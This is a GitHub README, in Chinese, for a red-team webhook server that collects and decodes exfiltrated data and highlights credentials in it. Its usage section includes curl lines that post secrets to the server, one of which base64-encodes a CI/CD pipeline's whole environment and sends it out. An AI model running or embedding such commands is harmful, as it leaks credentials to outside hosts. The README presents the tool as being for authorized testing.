srdaniellp/exfil-receiver
GitHub: srdaniellp/exfil-receiver
一款专为红队行动和渗透测试设计的轻量级 webhook 服务器,用于接收、解码和记录安全评估期间外发提取的数据。
Stars: 0 | Forks: 0
# Exfil 接收器
轻量级 webhook 服务器,用于在安全评估期间接收和记录渗取的数据。专为红队行动、CTF 竞赛和渗透测试实验室而构建。
## 功能
- 多端点支持(`/`、`/webhook`、`/exfil`、`/data`)
- 自动 base64 解码
- 凭据模式高亮(AWS、GitHub、API keys)
- 攻击 payload 过滤(prototype pollution、RCE 尝试)
- 带元数据的文件日志记录
- 用于列出和检索 dump 的 REST API
- SSL/HTTPS 支持
- 用于生产环境部署的 Systemd 服务
## 安装
```
git clone https://github.com/srdaniellp/exfil-receiver.git
cd exfil-receiver
pip install -r requirements.txt
```
## 使用方法
### 本地开发
```
python webhook.py --port 8080
```
### 使用 HTTPS
```
python webhook.py --port 443 --ssl
```
### 生产环境 (VPS)
```
# 复制文件到服务器
scp webhook.py deploy.sh user@server:/tmp/
# 运行 deploy 脚本
ssh user@server "bash /tmp/deploy.sh"
```
## 端点
| 方法 | 端点 | 描述 |
|--------|----------|-------------|
| GET | `/` | 服务状态 |
| POST | `/` | 接收数据 |
| POST | `/webhook` | 接收数据(别名) |
| POST | `/exfil` | 接收数据(别名) |
| POST | `/data` | 接收数据(别名) |
| GET | `/dumps` | 列出已接收的文件 |
| GET | `/dumps/` | 获取特定的 dump |
## 发送数据
```
# 原始数据
curl -X POST http://server:8080/ -d "SECRET_KEY=abc123"
# Base64 编码
echo "AWS_SECRET=xyz" | base64 | curl -X POST http://server:8080/ -d @-
# 来自 CI/CD pipeline
curl -X POST http://server:8080/exfil -d "$(env | base64)"
```
## 输出
接收到的数据将连同元数据保存到 `dumps/`:
```
# 接收时间: 2024-01-15T14:30:00
# Source IP: 192.168.1.100
# User-Agent: curl/7.68.0
# ============================================================
# === RAW DATA ===
U0VDUkVUX0tFWT1hYmMxMjM=
# === DECODED (如果为 base64) ===
SECRET_KEY=abc123
```
## 安全特性
服务器包含用于拦截常见攻击 payload 的过滤器:
- Prototype pollution 尝试
- Next.js RSC 利用
- 编码的 eval/RCE payload
合法的凭据即使匹配了某些模式,也依然会被接受。
## 免责声明
本工具仅供授权的安全测试和教育目的使用。在对您不拥有的任何系统进行测试之前,请务必获得适当的授权。
## 许可证
MIT
标签:Python, Webhook, 力导向图, 数据外发, 无后门, 逆向工具